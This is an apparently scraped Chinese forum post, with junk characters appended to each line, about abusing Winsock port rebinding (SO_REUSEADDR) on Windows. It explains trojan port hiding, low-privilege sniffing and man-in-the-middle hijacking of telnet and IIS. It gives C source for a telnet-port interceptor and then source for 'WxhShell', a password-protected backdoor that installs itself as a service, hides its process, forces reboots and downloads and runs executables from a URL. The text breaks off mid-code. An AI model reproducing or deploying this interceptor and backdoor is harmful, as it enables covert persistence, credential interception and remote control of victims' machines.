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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ?SYmsaSr5  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); @*xP A  
N~v<8vJq`  
  saddr.sin_family = AF_INET; l^bak]9 1  
vqT) =ZC1  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); cLL2 '  
h#UPU7;  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Z<d=v3q  
\\ R<HuTY  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 {f4jE#a>v  
_X?_|!;J  
  这意味着什么?意味着可以进行如下的攻击: [^a7l$fmi  
#B?lU"f8q^  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Adiw@q1&  
|qQ6>IZ  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) C3=0 st$  
Dj=$Q44  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ]]r ;}$  
j-/$e,xX  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  uYlyU~M:D  
m=h/A xW  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 !sI^Lh,Y  
jt6_1^  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 1 Lg{l  
?Mo)&,__  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 = =pQ V[  
)g8Kicox5  
  #include $HOe){G  
  #include Q$p3cepsK  
  #include ;8MQ'#  
  #include    )Dhx6xM[a  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ~FAk4z=Ed  
  int main() DQu)?Rsk  
  { s^PsA9EAn  
  WORD wVersionRequested; 9Ut eD@*  
  DWORD ret; tIV9Y=ckr0  
  WSADATA wsaData; vAG|Y'aO@%  
  BOOL val; f\$_^dV  
  SOCKADDR_IN saddr; cY!Pv  
  SOCKADDR_IN scaddr; 6:QlHuy0nH  
  int err; t; #@t/`  
  SOCKET s; - 8"K|ev  
  SOCKET sc; *7*cWO=  
  int caddsize; *=O3kUoL  
  HANDLE mt; UnVa`@P^:G  
  DWORD tid;   ib> ~3s;  
  wVersionRequested = MAKEWORD( 2, 2 ); TT;ls<(Lg  
  err = WSAStartup( wVersionRequested, &wsaData ); 9k9}57m.i  
  if ( err != 0 ) { 'HV@i)h0%V  
  printf("error!WSAStartup failed!\n"); x5g&?2[  
  return -1; 8]#J_|A6Z  
  } =s.0 f:(  
  saddr.sin_family = AF_INET; $P8AU81  
   6,1oLvU  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 pfc"^Gi8  
4k{xo~+%,  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Xep2 )3k>  
  saddr.sin_port = htons(23); _'y`hKeI[  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ^"iL|3d  
  { R$dNdd9m  
  printf("error!socket failed!\n"); *e:I*L  
  return -1; ntPX?/  
  } N2j^fZd_  
  val = TRUE; WCqa[=v)t  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 yoieWnL}  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) <7Yh<(R e^  
  { keQRS+9  
  printf("error!setsockopt failed!\n"); ^g2Vz4u  
  return -1; M'X,7hZ  
  } Hv' OO@z  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; +S#Xm4  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 #_3ZF"[zq  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 /`#JM  
{ktwX\z  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) NTK9`#SA  
  { =%I;Y& K  
  ret=GetLastError(); mss.\  
  printf("error!bind failed!\n"); S&l [z,  
  return -1; ][//G|9  
  } hH05p!2  
  listen(s,2); XCyb[(4  
  while(1) m#_M"B.cm  
  { &>Z;>6J,  
  caddsize = sizeof(scaddr); [\fwnS_1  
  //接受连接请求 vaVV 1  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); g%ys|  
  if(sc!=INVALID_SOCKET) +_*iF5\  
  { M= 3w  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); !"hzGgOOX  
  if(mt==NULL) vq3:N'  
  { #Rs5W  
  printf("Thread Creat Failed!\n"); .*+jD^Gr  
  break; T~ XKV`LQ  
  } {{pN7Z  
  } y= 8SD7P'  
  CloseHandle(mt); IY!8j$'|  
  } 5D7k[+6  
  closesocket(s); \?Xoa"^  
  WSACleanup(); h^,L) E  
  return 0; @0tX ,Z9  
  }   i3L2N~:V  
  DWORD WINAPI ClientThread(LPVOID lpParam) ;jPiD`Kyv  
  { f }.t  
  SOCKET ss = (SOCKET)lpParam; c;a<nTLn  
  SOCKET sc; V4n;N  
  unsigned char buf[4096]; ~(Q#G" t  
  SOCKADDR_IN saddr; +l]> (k.2  
  long num; M,oZ_tY%  
  DWORD val; k7sD"xR3  
  DWORD ret; dxS5-aWy9w  
  //如果是隐藏端口应用的话,可以在此处加一些判断 f"AT@Ga]  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Uhn3usK  
  saddr.sin_family = AF_INET; Be\@n xV[  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Jko=E   
  saddr.sin_port = htons(23);  Bw+ ?MdS  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) d}|z+D  
  { T>hm\!  
  printf("error!socket failed!\n"); XW2ZQMos1  
  return -1; 5xj8^W^G9  
  } "So "oT1  
  val = 100; (?GW/pLK]  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 1BP/,d |+  
  { sS4V(:3s  
  ret = GetLastError(); 7dE.\#6r  
  return -1; ![I|hB  
  } Dwr"-  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) OP=-fX|*Q  
  { f+)LVT8p  
  ret = GetLastError(); nq+6ipx  
  return -1; =E(ed,gH8  
  } oSYbx:2wo  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) jlqSw4_  
  { MIiBNNURX  
  printf("error!socket connect failed!\n"); 'X4)2iFV  
  closesocket(sc); Oi@|4mo  
  closesocket(ss); xBf->o S?  
  return -1; U1 rr=h g  
  } Qs#;sy W@~  
  while(1) n`jG[{3t&  
  { s bR*[2  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 .SSyW{a3w  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 |]Hr"saO0  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 +n%8*F&  
  num = recv(ss,buf,4096,0); +o0yx U 7t  
  if(num>0) s%~Nx3,  
  send(sc,buf,num,0); PJ<qqA`!  
  else if(num==0) }1CvbB%,A  
  break; 1M55!b  
  num = recv(sc,buf,4096,0); |(,{&\  
  if(num>0) ,iZKw8]f  
  send(ss,buf,num,0); d{B0a1P  
  else if(num==0) ,":_CY4(  
  break; t56PzT'M  
  } #i*PwgC%_  
  closesocket(ss); \O,yWyU4  
  closesocket(sc); q['3M<q  
  return 0 ; }5 $le]  
  } ~6QV?j  
J*:_3Wsy  
497l2}0  
========================================================== *%atE  
l0ZK)  
下边附上一个代码,,WXhSHELL L`9.Gf  
E7w^A  
========================================================== ];=|))ky"  
q& KNK  
#include "stdafx.h" W?ghG  
S&'s/jB  
#include <stdio.h> KilN`?EJ  
#include <string.h> Znh;#%n|  
#include <windows.h> vkG%w;  
#include <winsock2.h> yWT1CID  
#include <winsvc.h> vI48*&]wTf  
#include <urlmon.h> F/:%YR;  
$?[pcgv  
#pragma comment (lib, "Ws2_32.lib") )U]q{0`  
#pragma comment (lib, "urlmon.lib") D)S_ p&  
;/IX w>O(/  
#define MAX_USER   100 // 最大客户端连接数 VuK>lY &  
#define BUF_SOCK   200 // sock buffer 0r!F]Rm-^  
#define KEY_BUFF   255 // 输入 buffer p`52  
~[BGKq h  
#define REBOOT     0   // 重启 PB BJ.!Pb  
#define SHUTDOWN   1   // 关机 '[_.mx|cd`  
FBzsM7]j  
#define DEF_PORT   5000 // 监听端口 a6It1%a+  
MFWkJbZV  
#define REG_LEN     16   // 注册表键长度 y;P%=M P  
#define SVC_LEN     80   // NT服务名长度 2$o\`^dy  
#P!M"_z  
// 从dll定义API m<*+^JN  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); !#e+!h@  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Q?`s4P)14o  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ]zIIi%  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); \SYeDy  
"st+2#{  
// wxhshell配置信息 txX>zR*)  
struct WSCFG { Z\n^m^Z =  
  int ws_port;         // 监听端口 EF9Y=(0|  
  char ws_passstr[REG_LEN]; // 口令 qn}VW0!  
  int ws_autoins;       // 安装标记, 1=yes 0=no iVmy|ewd  
  char ws_regname[REG_LEN]; // 注册表键名 wCj)@3F  
  char ws_svcname[REG_LEN]; // 服务名 hwi_=-SL  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 mW,b#'hy  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Aq>?G+  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 'bg'^PN>z  
int ws_downexe;       // 下载执行标记, 1=yes 0=no C?<-`$0  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" y T&#k1  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 nCA~=[&H  
REsw=P!b  
}; G"6XJYoI  
8"V1h72vcW  
// default Wxhshell configuration Y%r>=Jvu6  
struct WSCFG wscfg={DEF_PORT, z XUr34jF  
    "xuhuanlingzhe", #60gjHYaV  
    1, L[`8 :}M  
    "Wxhshell", P9q=tC3^  
    "Wxhshell",   
            "WxhShell Service", KhL%ov  
    "Wrsky Windows CmdShell Service", }"kF<gG1  
    "Please Input Your Password: ", D& &71X '  
  1, Wk!<P" nHd  
  "http://www.wrsky.com/wxhshell.exe", ?@6Zv$vZ  
  "Wxhshell.exe" 'coY`B; 8  
    }; 2nL*^hhh  
lJx5scN [  
// 消息定义模块 WWOjck #  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; :j/sTO=  
char *msg_ws_prompt="\n\r? for help\n\r#>"; (>lH=&%zj  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; OcC|7s" ,  
char *msg_ws_ext="\n\rExit."; MvaX>n !o  
char *msg_ws_end="\n\rQuit."; ~HKzqGQy >  
char *msg_ws_boot="\n\rReboot..."; 8 ~Pdr]5  
char *msg_ws_poff="\n\rShutdown..."; D$TpT X\  
char *msg_ws_down="\n\rSave to "; O+=}x]q*y  
z('t#J!b  
char *msg_ws_err="\n\rErr!"; 'UuHyC2Ha3  
char *msg_ws_ok="\n\rOK!"; IQ xi@7%&  
D )Jac@,0  
char ExeFile[MAX_PATH]; T~g`;Q%i  
int nUser = 0; -"#jRP]#  
HANDLE handles[MAX_USER]; tv: mjS  
int OsIsNt; s |o(~2j  
% ;a B#:p6  
SERVICE_STATUS       serviceStatus; h$%h w+"4  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; n+2>jY  
z*cKH$':  
// 函数声明 mSk";UCn  
int Install(void); 8-@H zS%  
int Uninstall(void); G%K&f1q%  
int DownloadFile(char *sURL, SOCKET wsh); xNLgcb@v>  
int Boot(int flag); q:vGGK^  
void HideProc(void); 8{6`?qst@  
int GetOsVer(void); f*p=j(sF  
int Wxhshell(SOCKET wsl); ,;<M+V3+  
void TalkWithClient(void *cs); PO:sF]5  
int CmdShell(SOCKET sock); $gL^\(_3H  
int StartFromService(void); jQBn\^w  
int StartWxhshell(LPSTR lpCmdLine); HLc3KYIk  
 <$K7f  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 3l$D%y  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); lW4 6S  
vRDs~'f  
// 数据结构和表定义 M(^ e)7a1  
SERVICE_TABLE_ENTRY DispatchTable[] = \#F>R,  
{ J?hs\nA  
{wscfg.ws_svcname, NTServiceMain}, -q&,7'V  
{NULL, NULL} {L7+lz  
}; o/=61K8D  
Qx_N,1>S  
// 自我安装 ogJ';i/o  
int Install(void) ([7XtG/?  
{ ,8!'jE[d  
  char svExeFile[MAX_PATH]; = U[$i"+  
  HKEY key; S/YHT)0x[  
  strcpy(svExeFile,ExeFile); k(@W z>aCv  
]a[2QQ+g  
// 如果是win9x系统,修改注册表设为自启动 P=s3&NDD  
if(!OsIsNt) { u0qTP]  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ]8 <`&~a  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ZQ-6n1O  
  RegCloseKey(key); x<.(fRv   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ^}J,;Zhu5  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .;(a;f+{;  
  RegCloseKey(key); #6pJw?[  
  return 0; ,)VAKrSg  
    } h*3{IHAQ  
  } G+I->n-s4  
} oqg +<m  
else { 4RH>i+)pS\  
5s>>] .%  
// 如果是NT以上系统,安装为系统服务 B^{~,'  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); HC6v#-( `{  
if (schSCManager!=0) T#vY(d  
{ Rv.IHSQUo  
  SC_HANDLE schService = CreateService vV"I}L  
  ( QcjsQTAbk  
  schSCManager,  2 av=W  
  wscfg.ws_svcname, NiRb:F-  
  wscfg.ws_svcdisp, SEE:v+3|  
  SERVICE_ALL_ACCESS, NW&2ca  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , as!P`*@  
  SERVICE_AUTO_START, Tz0XBH_  
  SERVICE_ERROR_NORMAL, su\`E&0V+  
  svExeFile, (.5Ft^3W  
  NULL, <vb7X  
  NULL, uWP0(6 %  
  NULL, aNwx~t]G  
  NULL, UXw I?2L  
  NULL [<d_#(]h'  
  ); +G,_|C2J  
  if (schService!=0) _@ g\.7@0G  
  { X0]$Ovq(l  
  CloseServiceHandle(schService); ]K%d   
  CloseServiceHandle(schSCManager); ,?+uQXfXR  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); +I}!)$/  
  strcat(svExeFile,wscfg.ws_svcname); 0sCWIGU W  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { (CAkzgTfc  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ~aXJ5sY"f&  
  RegCloseKey(key); 05 .EI)7  
  return 0; vJsg6oH  
    } H.o3d/8:  
  } =-qYp0sVP  
  CloseServiceHandle(schSCManager); 7g%\+%F I  
} nHU}OGzW  
} E!>MJlA:k6  
\!%~( FM  
return 1; <q&i"[^M  
} %_~1(Glz  
{!!8 *ix  
// 自我卸载 ^),;`YXZ  
int Uninstall(void) _ x$\E  
{ }FX:sa?5  
  HKEY key; fUOQ(BGp  
m/< @Qw  
if(!OsIsNt) {  lsgZ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { z f >(Y7M  
  RegDeleteValue(key,wscfg.ws_regname); o|_9%o52'  
  RegCloseKey(key); _B vGEM`o  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $bN_0s0:'  
  RegDeleteValue(key,wscfg.ws_regname); Xo6zeLHO  
  RegCloseKey(key); -U\s.FI.AR  
  return 0; $+,kibk*R  
  } R3.8Dr 0f  
} 42:,*4t(  
} E 5mYFVK  
else { ( efxw  
6y"T;.FAo  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); [+!+Yn6:  
if (schSCManager!=0) U8</aQLGF  
{ !FvL2L  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); g!z &lQnZ  
  if (schService!=0) ,L-V?B(UQ  
  { pIKfTkSqH  
  if(DeleteService(schService)!=0) { 8x8nQ *_  
  CloseServiceHandle(schService); ll?Qg%V[t  
  CloseServiceHandle(schSCManager); j%':M  
  return 0; x1" 8K  
  } N(O* "1b  
  CloseServiceHandle(schService); \3hFb,/4k  
  } y(Em+YTD  
  CloseServiceHandle(schSCManager); 6=*n$l# }  
} xhB-gG=  
} kZR(0, W  
dl6Ju  
return 1;  "Id 1H  
} NS "1zR+  
~K ('t9|  
// 从指定url下载文件 t Q.%f:|  
int DownloadFile(char *sURL, SOCKET wsh) HHOqJb{8S  
{ 7Jpq7;  
  HRESULT hr; AE Abny q  
char seps[]= "/"; V@\u<LO0G  
char *token; &y-z[GR[{  
char *file; D}N4*L1  
char myURL[MAX_PATH]; v|@EuN14<  
char myFILE[MAX_PATH]; jY ;Hdb''  
$^YHyfh  
strcpy(myURL,sURL); S8C} C#  
  token=strtok(myURL,seps); f?(g5o*2  
  while(token!=NULL) is^5TL%@  
  { 4.>y[_vu  
    file=token; 7dOpJjv?)  
  token=strtok(NULL,seps); g\*2w @  
  } <<-BQ l~  
&3itBQF  
GetCurrentDirectory(MAX_PATH,myFILE); =p dLh  
strcat(myFILE, "\\"); 474 oVdGx  
strcat(myFILE, file); 1k{H,p7  
  send(wsh,myFILE,strlen(myFILE),0); ?/(*cA  
send(wsh,"...",3,0); *T.V5FB0S  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); =6=l.qyYK  
  if(hr==S_OK) hW\'EJ  
return 0; iEbW[sX[ 4  
else 7Q~$&G  
return 1; *9`k$'  
Un&rP70  
} Dw,LB>Eq,  
n>)h9q S  
// 系统电源模块 v7f[$s$m  
int Boot(int flag) hb>uHUb&  
{ m]}EVa_I`/  
  HANDLE hToken; pezfB{x?  
  TOKEN_PRIVILEGES tkp; PeSTUR&  
Vw`%|x"Xz  
  if(OsIsNt) { th5UzpB4  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); *r|1 3|k  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); (aB:P03  
    tkp.PrivilegeCount = 1; l(}l([rdQ  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; OJ.oHf=K!  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); _P%PjFQ)  
if(flag==REBOOT) {  \7e4t  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ?iL-2I3*  
  return 0; EH'eyC-B<  
} ^__ P;Gr`  
else { QJI]@3 Y  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) EEvi_Z932  
  return 0; ] ^J  
} ~h%H;wC&  
  } g<:TsP'|  
  else { Of eM;)  
if(flag==REBOOT) { hK3Twzte  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) _6L'}X$)N  
  return 0; 7}(YCZny5  
} =r&i`L{]  
else { X3y28 %R   
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) !"ydl2  
  return 0; CM t$ )  
} z*o2jz?t4  
} bvT$/ (7  
`u8(qGg7GF  
return 1; r'@7aT&_  
} aLwEz}-   
v(,YqT>q@U  
// win9x进程隐藏模块 WWLf'89It  
void HideProc(void) Wq<H sJd/  
{ vJ;0%;eu[!  
}hXmK.['  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); G+m[W  
  if ( hKernel != NULL ) V Y@`)  
  { m=w #l>!  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); .4y44: T  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); JYLAu4s6  
    FreeLibrary(hKernel); vpdT2/F  
  } I~-sBMm(w  
6~6 vwp  
return; xSq+>,b  
} )H&ZHaO,_  
}x_:v!G  
// 获取操作系统版本 {H 3wL  
int GetOsVer(void) ]=Wq&~  
{ DH.CAV  
  OSVERSIONINFO winfo; zXe]P(p<  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 0bu!(Tpg7  
  GetVersionEx(&winfo); qR4-~ p 8  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) vI(CX]o  
  return 1; p1IN%*IV+o  
  else +}BKDEb  
  return 0; C *7x7|z  
} \3x+Z!  
cxIAI=JK  
// 客户端句柄模块 z\K-KD{Ad  
int Wxhshell(SOCKET wsl) WqHp23  
{ .AF\[IQ  
  SOCKET wsh; k~JTQh*,w  
  struct sockaddr_in client; .8wF> 8  
  DWORD myID; S=$ \S9  
%)e&"mq!|  
  while(nUser<MAX_USER) hF1Lj=x  
{ LfvRH?<W  
  int nSize=sizeof(client); `U>]*D68  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); -8S Z}J  
  if(wsh==INVALID_SOCKET) return 1; l?HC-_Pbh  
u!McPM8Yk  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); <JW %h :\t  
if(handles[nUser]==0) 7&Ie3[Rm_3  
  closesocket(wsh); V@`%k]k  
else |#B)`r8  
  nUser++; $7p0<<Nck  
  } {k']nI.>  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); (Y"./BDY  
P R_| 8H|  
  return 0; v5W-f0Jo  
} j% '~l#nw  
T5_rPz  
// 关闭 socket _t6 .9CXl  
void CloseIt(SOCKET wsh) mzf^`/NO  
{ P+rDln {  
closesocket(wsh); GwmYhG<{  
nUser--; u>V~:q\X  
ExitThread(0); v\5`n@}4  
} [MeFj!(  
JE;!~=   
// 客户端请求句柄 cq$ _$jRx  
void TalkWithClient(void *cs) E .CG  
{ d;).| .}P  
eqyUI|e  
  SOCKET wsh=(SOCKET)cs; WogCt,  
  char pwd[SVC_LEN]; RuOse9  
  char cmd[KEY_BUFF]; =r~ExW}+  
char chr[1]; x, 'KI?TyQ  
int i,j; |doG}C  
eX'V#K#C  
  while (nUser < MAX_USER) { xBE}/F$ 45  
SYgkYR  
if(wscfg.ws_passstr) { I8\R7s3  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ZD4:'m`T/  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Z5"5Ge-M  
  //ZeroMemory(pwd,KEY_BUFF); ,fhK  
      i=0; RZ?abE8  
  while(i<SVC_LEN) { =V:Al   
X//=OpS`  
  // 设置超时 yY"n:&T(  
  fd_set FdRead; -e_pw,5c '  
  struct timeval TimeOut; }?9A:&  
  FD_ZERO(&FdRead); ]5e|W Q>*X  
  FD_SET(wsh,&FdRead); Hr*xAx  
  TimeOut.tv_sec=8; 2xv[cpVi  
  TimeOut.tv_usec=0; Q|7m9~  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); )p{,5"0u  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); p }3$7CR/  
R^yh,  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -E.fo._L5  
  pwd=chr[0]; R vd'uIJ  
  if(chr[0]==0xd || chr[0]==0xa) { (:RYd6i  
  pwd=0; 3O|2Z~>3  
  break; Bsj^R\  
  } kXO c)  
  i++; lXutZ<S[  
    } M'@  
4!-/m7%eF  
  // 如果是非法用户,关闭 socket ah#jvp  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); @/='BVb'T  
} BoHNni  
}RUK?:lEA  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); cEGR?4z  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); zw0u|q;#  
Y,-! QFS#  
while(1) { X:QRy9]  
Axla@  
  ZeroMemory(cmd,KEY_BUFF); Y"TrF(C  
P6`LUyz3  
      // 自动支持客户端 telnet标准   bj@f<f`  
  j=0; /wi/i*;A  
  while(j<KEY_BUFF) { &_'3(xIO  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~e686L0j  
  cmd[j]=chr[0]; EU'P U  
  if(chr[0]==0xa || chr[0]==0xd) { `KieN/d%  
  cmd[j]=0; s@*i  
  break; {O4&HW%  
  } UXOf  
  j++; )k81  
    } OZ&SxR%q4  
.lGN Fx  
  // 下载文件 D4T(Dce  
  if(strstr(cmd,"http://")) { 4 i`FSO  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); }wC=p>zA  
  if(DownloadFile(cmd,wsh)) Tz7|OV_W$  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); i4)]lWnd  
  else FaKZ|~Y e  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <'~6L#>,<  
  } "7w=LhzV[$  
  else { 'T]Ok\  
%<MI]D  
    switch(cmd[0]) { HE+D]7^  
  PVrNS7 Rk/  
  // 帮助 q,=YKw)*  
  case '?': { /mK]O7O7  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); A $l  
    break; }&^1")2t  
  } pbG v\S F  
  // 安装 tQ)l4Y 8  
  case 'i': { >KJE *X@s  
    if(Install()) A" IaFXB  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); S"@@BQ#mf  
    else CW,|l0i  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); e_3B\59k  
    break; %z-n2%  
    } w=[ITQ|W%  
  // 卸载 {&nDm$KTD  
  case 'r': { QM{B(zH  
    if(Uninstall()) }s.\B    
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); p@wtT"Y  
    else y/"CWD/i  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); GYV%RD#  
    break; rfV{+^T;  
    } sRflabl *x  
  // 显示 wxhshell 所在路径 _Bhd@S!  
  case 'p': { =P,pW  
    char svExeFile[MAX_PATH]; [2ri=lf,  
    strcpy(svExeFile,"\n\r"); 4Td)1~zc3  
      strcat(svExeFile,ExeFile); DKG; up0  
        send(wsh,svExeFile,strlen(svExeFile),0); -$`q:j  
    break; 0"i QHi  
    } 2nSK}q  
  // 重启 0SJ(Ln`0K  
  case 'b': { c&"1Z/tR  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 9 }  ]C  
    if(Boot(REBOOT)) _OB^ywHn.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); q'%!qa+  
    else { a4",BDx  
    closesocket(wsh); G'Uq595'-  
    ExitThread(0); wYh]3  
    } o)H| #9h5  
    break; w} r mYQ  
    } @Suww@<  
  // 关机 kWgrsN+Z  
  case 'd': { aUKa+"`S  
